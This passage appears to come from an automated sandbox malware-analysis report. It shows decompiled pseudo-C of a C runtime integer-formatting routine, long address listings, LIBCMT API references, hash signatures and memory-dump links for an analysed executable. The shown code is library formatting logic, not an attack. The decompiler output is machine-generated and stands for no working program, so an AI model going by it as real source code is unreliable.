																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xd:
																		L138:
																		 *(__ebp - 0x260) = 0x27;
																		L139:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2ac) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b0) = __eax;
																							 *(__ebp - 0x2ac) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L161;
																			}
																			goto L157;
																		}
																	case 0xe:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																}
															case 8:
																L21:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L24;
															case 9:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L24;
															case 0xa:
																L20:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xb:
																L19:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L24;
															case 0xc:
																L23:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L24;
															case 0xd:
																L24:
																goto L209;
														}
													}
													L210:
													 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
													E0041AFC0(_t524 - 0x40);
													_t478 =  *(_t524 - 0x2ec);
													goto L211;
												}
											}
											L178:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L180:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L181;
											}
											L179:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L181;
											}
											goto L180;
										}
										L174:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2b4);
										__edx =  *(__ebp - 0x2b8);
										__eax = E00430A00( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
										 *(__ebp - 0x2a4) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2b4);
										__ecx =  *(__ebp - 0x2b8);
										 *(__ebp - 0x2b8) = E00430A80( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2b4) = __edx;
										__eflags =  *(__ebp - 0x2a4) - 0x39;
										if( *(__ebp - 0x2a4) > 0x39) {
											__edx =  *(__ebp - 0x2a4);
											__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2a4) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2a4);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										goto L173;
									}
								}
								L159:
								__eflags =  *(__ebp - 0x2b0);
								if( *(__ebp - 0x2b0) >= 0) {
									goto L161;
								}
								goto L160;
								L161:
								__ecx =  *(__ebp - 0x2b0);
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
								__edx =  *(__ebp - 0x2ac);
								 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
								goto L162;
							}
						}
					}
				}
			}

0x00427ed5
0x00427ed5
0x00427ed5
0x00427ed5
0x00427edc
0x00427edc
0x00427edc
0x00427ef2
0x00427ef2
0x00427ef2
0x00427efc
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00428019
0x00428019
0x00428020
0x00000000
0x00000000
0x00428022
0x00428022
0x0042802d
0x00428033
0x00428035
0x0042803b
0x0042803e
0x00428040
0x00428046
0x0042804f
0x00428054
0x00428071
0x00428074
0x00428074
0x00428079
0x0042807e
0x0042807e
0x00428084
0x00428086
0x0042808c
0x00428092
0x00428092
0x0042809b
0x0042809b
0x00428084
0x004280a1
0x004280a5
0x004280b3
0x004280b6
0x004280b9
0x004280c0
0x004280c2
0x004280c2
0x004280a7
0x004280a7
0x004280a7
0x004280cf
0x004280cf
0x004280d5
0x004280d7
0x004280d7
0x004280de
0x004280e1
0x004280e4
0x004280e4
0x004280e4
0x004280ea
0x004280ed
0x004280f0
0x004280f2
0x00000000
0x00000000
0x004280f4
0x004280fa
0x004280fa
0x00428100
0x0042817d
0x00428180
0x00428183
0x00428186
0x00428189
0x0042818c
0x00428192
0x00428192
0x00428198
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x004281cd
0x004281d0
0x004281d0
0x004281d3
0x004281d8
0x004281d8
0x004281dd
0x004281ef
0x004281ef
0x004281f2
0x00428204
0x00428204
0x00428207
0x00428209
0x0042820d
0x0042820d
0x004281f4
0x004281f4
0x004281f8
0x004281f8
0x004281df
0x004281df
0x004281e3
0x004281e3
0x004281dd
0x00428217
0x0042821a
0x0042821d
0x00428226
0x00428226
0x00428229
0x0042822b
0x00428232
0x00428236
0x0042823f
0x00428244
0x00428247
0x0042824e
0x00428252
0x00428256
0x00428262
0x00428265
0x00428265
0x00428268
0x0042826d
0x0042826d
0x00428270
0x00428272
0x00428279
0x0042827d
0x00428286
0x0042828b
0x00428270
0x0042828e
0x00428292
0x00428366
0x00428366
0x0042836d
0x00428371
0x00428375
0x00428379
0x00000000
0x00428298
0x00428298
0x00428298
0x0042829c
0x00000000
0x00000000
0x004282a2
0x004282a2
0x004282ac
0x004282af
0x004282b5
0x004282b8
0x004282be
0x004282be
0x004282be
0x004282ca
0x004282cd
0x004282d3
0x004282d5
0x00000000
0x00000000
0x004282db
0x004282db
0x004282e4
0x004282eb
0x004282f5
0x004282fc
0x0042830b
0x00428317
0x0042831a
0x00428320
0x00428327
0x00428332
0x00428332
0x00000000
0x00428332
0x00428329
0x00428329
0x00428330
0x0042833e
0x0042833e
0x00428345
0x00428349
0x00428357
0x00000000
0x0042835c
0x00000000
0x00428330
0x00428364
0x00428381
0x00428381
0x00428388
0x0042838d
0x0042838d
0x00428390
0x00428392
0x00428399
0x0042839d
0x004283a6
0x004283ab
0x00428390
0x00428388
0x004283ae
0x004283ae
0x004283b2
0x004283ba
0x004283c2
0x004283c2
0x004283c9
0x004283c9
0x0042754f
0x00427562
0x00427567
0x00000000
0x0042757a
0x00427584
0x004275ab
0x00427592
0x004275a3
0x004275a3
0x00427584
0x004275b5
0x004275bb
0x004275cd
0x004275d8
0x004275e4
0x004275f1
0x00000000
0x00000000
0x004275f7
0x004275fd
0x00000000
0x00427604
0x00427604
0x0042761c
0x00427621
0x00427626
0x004276e0
0x004276f3
0x004276f8
0x00000000
0x0042762c
0x0042763f
0x00427644
0x0042764a
0x0042764c
0x00427655
0x00427658
0x00427664
0x00427668
0x0042766e
0x00427670
0x00427675
0x00427677
0x0042767c
0x00427681
0x00427683
0x00427688
0x0042768e
0x00427690
0x00427690
0x0042768e
0x00427691
0x00427698
0x00000000
0x0042769a
0x0042769f
0x004276bb
0x004276c3
0x004276d0
0x004276d5
0x00000000
0x004276d5
0x00427698
0x00000000
0x00427700
0x00427700
0x00427707
0x0042770a
0x0042770d
0x00427710
0x00427713
0x00427716
0x00427719
0x00427720
0x00427727
0x00000000
0x00000000
0x00427733
0x00427733
0x0042773a
0x00427746
0x00427749
0x0042774f
0x00427756
0x00000000
0x00000000
0x00427758
0x00427758
0x0042775e
0x0042775e
0x00427765
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277a8
0x004277a8
0x004277af
0x004277b2
0x004277dc
0x004277df
0x004277df
0x004277e2
0x004277e9
0x004277e9
0x004277ed
0x004277b4
0x004277b4
0x004277c0
0x004277c3
0x004277c7
0x004277c9
0x004277cc
0x004277cc
0x004277cf
0x004277d5
0x004277d7
0x004277d7
0x004277da
0x004277f0
0x00000000
0x00000000
0x004277f5
0x004277f5
0x00000000
0x00000000
0x00427801
0x00427801
0x00427808
0x0042780b
0x0042782b
0x0042782e
0x0042782e
0x00427838
0x00427838
0x0042783c
0x0042780d
0x0042780d
0x00427819
0x0042781c
0x00427820
0x00427822
0x00427822
0x00427829
0x00000000
0x00000000
0x00427844
0x00427844
0x0042784b
0x00427857
0x0042785a
0x00427860
0x00427867
0x0042797a
0x00000000
0x0042797a
0x0042786d
0x0042786d
0x00427873
0x00427873
0x0042787a
0x00000000
0x004278b0
0x004278b0
0x004278b3
0x004278b6
0x004278b9
0x004278e1
0x004278e1
0x004278e4
0x004278e7
0x004278ea
0x0042790f
0x0042790f
0x00427912
0x00427915
0x00427918
0x00427951
0x00427962
0x00000000
0x00427962
0x0042791a
0x0042791a
0x0042791d
0x00427920
0x00427923
0x00000000
0x00000000
0x00427925
0x00427925
0x00427928
0x0042792b
0x0042792e
0x00000000
0x00000000
0x00427930
0x00427930
0x00427933
0x00427936
0x00427939
0x00000000
0x00000000
0x0042793b
0x0042793b
0x0042793e
0x00427941
0x00427944
0x00000000
0x00000000
0x00427946
0x00427946
0x00427949
0x0042794c
0x0042794f
0x00427953
0x00000000
0x00427953
0x00000000
0x0042794f
0x004278ec
0x004278ec
0x004278ef
0x004278f3
0x004278f6
0x00000000
0x004278f8
0x004278fb
0x004278fe
0x00427901
0x00427904
0x0042790a
0x00000000
0x0042790a
0x004278f6
0x004278bb
0x004278bb
0x004278be
0x004278c2
0x004278c5
0x00000000
0x004278c7
0x004278ca
0x004278cd
0x004278d0
0x004278d3
0x004278d9
0x00000000
0x004278d9
0x00000000
0x00427964
0x00427967
0x0042796a
0x00000000
0x00000000
0x00427881
0x00427881
0x00427884
0x00427887
0x0042788a
0x004278a2
0x004278a5
0x004278a5
0x004278a8
0x0042788c
0x0042788f
0x00427892
0x00427898
0x0042789d
0x0042789d
0x00000000
0x00000000
0x0042796f
0x0042796f
0x00427972
0x00427972
0x00427977
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042797f
0x0042797f
0x00427986
0x00427992
0x00427995
0x0042799b
0x004279a2
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x004279a8
0x004279ae
0x004279ae
0x004279b5
0x00000000
0x00427d0f
0x00427d0f
0x00427d16
0x00427d1d
0x00427d1d
0x00427d20
0x00000000
0x00000000
0x004279bc
0x004279bf
0x004279bf
0x004279c5
0x004279c7
0x004279ca
0x004279ca
0x004279cf
0x004279cf
0x00000000
0x00000000
0x00427afc
0x00427aff
0x00427aff
0x00427b04
0x00427b06
0x00427b09
0x00427b09
0x00427b0f
0x00427b0f
0x00000000
0x00000000
0x00427edc
0x00427edc
0x00000000
0x00000000
0x00427a66
0x00427a66
0x00427a72
0x00427a78
0x00427a7f
0x00427a8d
0x00427a8d
0x00427a93
0x00427a96
0x00427aa2
0x00427af7
0x00000000
0x00427af7
0x00427a81
0x00427a81
0x00427a87
0x00427a8b
0x00427aa7
0x00427aaa
0x00427aaa
0x00427ab0
0x00427ad8
0x00427adf
0x00427ae5
0x00427ae8
0x00427aeb
0x00427af1
0x00427af4
0x00427ab2
0x00427ab2
0x00427ab8
0x00427abb
0x00427abe
0x00427ac4
0x00427ac7
0x00427aca
0x00427acc
0x00427acf
0x00427acf
0x00000000
0x00427ab0
0x00000000
0x00000000
0x00427d26
0x00427d29
0x00427d2c
0x00427d2f
0x00427d35
0x00427d38
0x00427d3f
0x00427d43
0x00427d4e
0x00427d4e
0x00427d52
0x00427d69
0x00427d69
0x00427d70
0x00427d72
0x00427d72
0x00427d79
0x00427d79
0x00427d80
0x00427d91
0x00427da0
0x00427da3
0x00427da7
0x00427dbd
0x00427da9
0x00427da9
0x00427dac
0x00427db2
0x00427db8
0x00427db8
0x00427da7
0x00427dc7
0x00427dca
0x00427dcd
0x00427dd0
0x00427dd0
0x00427dd3
0x00427dd3
0x00427dd6
0x00427ddc
0x00427de2
0x00427dea
0x00427deb
0x00427dee
0x00427def
0x00427df2
0x00427df3
0x00427dfa
0x00427dfb
0x00427dfe
0x00427dff
0x00427e02
0x00427e03
0x00427e09
0x00427e0a
0x00427e18
0x00427e1a
0x00427e20
0x00427e20
0x00427e26
0x00427e28
0x00427e2c
0x00427e2e
0x00427e36
0x00427e37
0x00427e3a
0x00427e3b
0x00427e49
0x00427e4b
0x00427e4b
0x00427e2c
0x00427e4e
0x00427e55
0x00427e58
0x00427e5d
0x00427e5d
0x00427e63
0x00427e65
0x00427e6d
0x00427e6e
0x00427e71
0x00427e72
0x00427e81
0x00427e83
0x00427e83
0x00427e63
0x00427e86
0x00427e89
0x00427e8c
0x00427e8f
0x00427e94
0x00427e9a
0x00427e9d
0x00427ea0
0x00427ea0
0x00427ea3
0x00427ea3
0x00427ea6
0x00427eb2
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00000000
0x004281c3
0x00427d54
0x00427d54
0x00427d5b
0x00427d5e
0x00000000
0x00000000
0x00427d60
0x00427d60
0x00000000
0x00427d60
0x00427d45
0x00427d45
0x00000000
0x00000000
0x004279d2
0x004279d5
0x004279d5
0x004279db
0x00427a32
0x00427a36
0x00427a3e
0x00427a45
0x00427a4b
0x00427a51
0x00427a58
0x00427a58
0x00427a5e
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x004279dd
0x004279dd
0x004279e7
0x004279eb
0x004279f3
0x004279fa
0x00427a07
0x00427a0e
0x00427a1a
0x00427a20
0x00427a27
0x00427a29
0x00427a29
0x00427a30
0x00000000
0x00000000
0x00427eba
0x00427ebd
0x00427ec0
0x00427ec3
0x00000000
0x00000000
0x00427c18
0x00427c18
0x00427c24
0x00427c2a
0x00427c2f
0x00427c31
0x00427cdb
0x00427cde
0x00427cde
0x00427ce1
0x00427cf5
0x00427cfb
0x00427d01
0x00427ce3
0x00427ce3
0x00427cf0
0x00427cf0
0x00427d03
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x00427c37
0x00427c37
0x00427c37
0x00427c39
0x00427c47
0x00427c3b
0x00427c3b
0x00427c3b
0x00427c51
0x00427c57
0x00427c5d
0x00427c64
0x00427c66
0x00427c6b
0x00427c6d
0x00427c72
0x00427c77
0x00427c79
0x00427c7e
0x00427c81
0x00427c84
0x00427c86
0x00427c86
0x00427c84
0x00427c87
0x00427c8e
0x00427cd6
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00427c90
0x00427c90
0x00427c95
0x00427cb1
0x00427cb9
0x00427cc3
0x00427cc6
0x00427ccb
0x004283e8
0x004283f5
0x004283f5
0x00000000
0x00427f1d
0x00427f1d
0x00427f27
0x00427f27
0x00427f2d
0x00427f2f
0x00427f32
0x00427f32
0x00427f38
0x00427f38
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427b12
0x00427b12
0x00427b16
0x00427b24
0x00427b27
0x00427b18
0x00427b18
0x00427b18
0x00427b2d
0x00427b33
0x00427b39
0x00427b45
0x00427b4b
0x00427b4b
0x00427b51
0x00427bb8
0x00427bb8
0x00427bbc
0x00427bbe
0x00427bc4
0x00427bc4
0x00427bc7
0x00427bca
0x00427bd0
0x00427bd0
0x00427bd0
0x00427bdc
0x00427bdf
0x00427be5
0x00427be7
0x00000000
0x00000000
0x00427be9
0x00427be9
0x00427bef
0x00427bf2
0x00427bf4
0x00000000
0x00000000
0x00427bf6
0x00427bfc
0x00427bff
0x00427bff
0x00427c07
0x00427c07
0x00427c0d
0x00427c0d
0x00427c10
0x00000000
0x00427b53
0x00427b53
0x00427b53
0x00427b57
0x00427b59
0x00427b5e
0x00427b5e
0x00427b61
0x00427b68
0x00427b6b
0x00427b71
0x00427b71
0x00427b71
0x00427b7d
0x00427b80
0x00427b86
0x00427b88
0x00000000
0x00000000
0x00427b8a
0x00427b8a
0x00427b90
0x00427b93
0x00427b95
0x00000000
0x00000000
0x00427b97
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba8
0x00427bae
0x00427bb1
0x00427bb3
0x00427c13
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x004281c3
0x00000000
0x00427ecc
0x00427ecc
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x00427ee8
0x00427ee8
0x00427ef2
0x00427ef2
0x00427efc
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00000000
0x00428017
0x00000000
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x00000000
0x004281c7
0x00000000
0x00000000
0x00427782
0x00427785
0x00427788
0x00000000
0x00000000
0x0042778d
0x00427790
0x00427795
0x00000000
0x00000000
0x00427777
0x00427777
0x0042777a
0x0042777d
0x00000000
0x00000000
0x0042776c
0x0042776f
0x00427772
0x00000000
0x00000000
0x0042779a
0x0042779a
0x0042779d
0x0042779d
0x004277a0
0x00000000
0x00000000
0x004277a3
0x00000000
0x00000000
0x004275fd
0x004283ce
0x004283d4
0x004283dd
0x004283e2
0x00000000
0x004283e2
0x004281c3
0x0042819a
0x0042819a
0x0042819e
0x004281ab
0x004281ae
0x004281b1
0x004281b4
0x004281b7
0x004281ba
0x004281bd
0x004281bd
0x004281c0
0x00000000
0x004281c0
0x004281a0
0x004281a0
0x004281a3
0x004281a6
0x004281a9
0x00000000
0x00000000
0x00000000
0x004281a9
0x00428102
0x00428102
0x00428105
0x00428108
0x0042810f
0x00428116
0x0042811e
0x00428124
0x00428127
0x0042812a
0x00428131
0x0042813d
0x00428143
0x00428149
0x00428150
0x00428152
0x00428158
0x00428158
0x0042815e
0x0042815e
0x00428164
0x00428167
0x0042816d
0x00428172
0x00428175
0x004280e4
0x004280e4
0x004280ea
0x004280ed
0x004280f0
0x004280f2
0x00000000
0x00000000
0x00000000
0x004280f2
0x004280e4
0x00428024
0x00428024
0x0042802b
0x00000000
0x00000000
0x00000000
0x00428059
0x00428059
0x0042805f
0x00428065
0x0042806b
0x00000000
0x0042806b
0x00427f3b
0x00427ef2
0x00427edc

APIs

_get_int64_arg.LIBCMTD ref: 00427F49
__aullrem.LIBCMT ref: 00428116
__aulldiv.LIBCMT ref: 00428138

Strings

9, xrefs: 00428149
0, xrefs: 00427F04

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 02649401b00790fc25c1a63162cda082cdcc373dbd7a9e5c6411ff24425b86bc
Instruction ID: 915bc84da7f5e8323e617d01846fc6516dd8b85da617c1e27045d7880dde3dec
Opcode Fuzzy Hash: 02649401b00790fc25c1a63162cda082cdcc373dbd7a9e5c6411ff24425b86bc
Instruction Fuzzy Hash: 214125B1E06229CFDB64CF48ED89BAEB7B5BB44300F5081DAD009A7241CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C559, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C559(void* __ebx, void* __edi, void* __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				void* _t501;
				signed int _t519;
				void* _t523;
				void* _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *((intOrPtr*)(_t525 - 0x460)) = 0x27;
					while(1) {
						L145:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
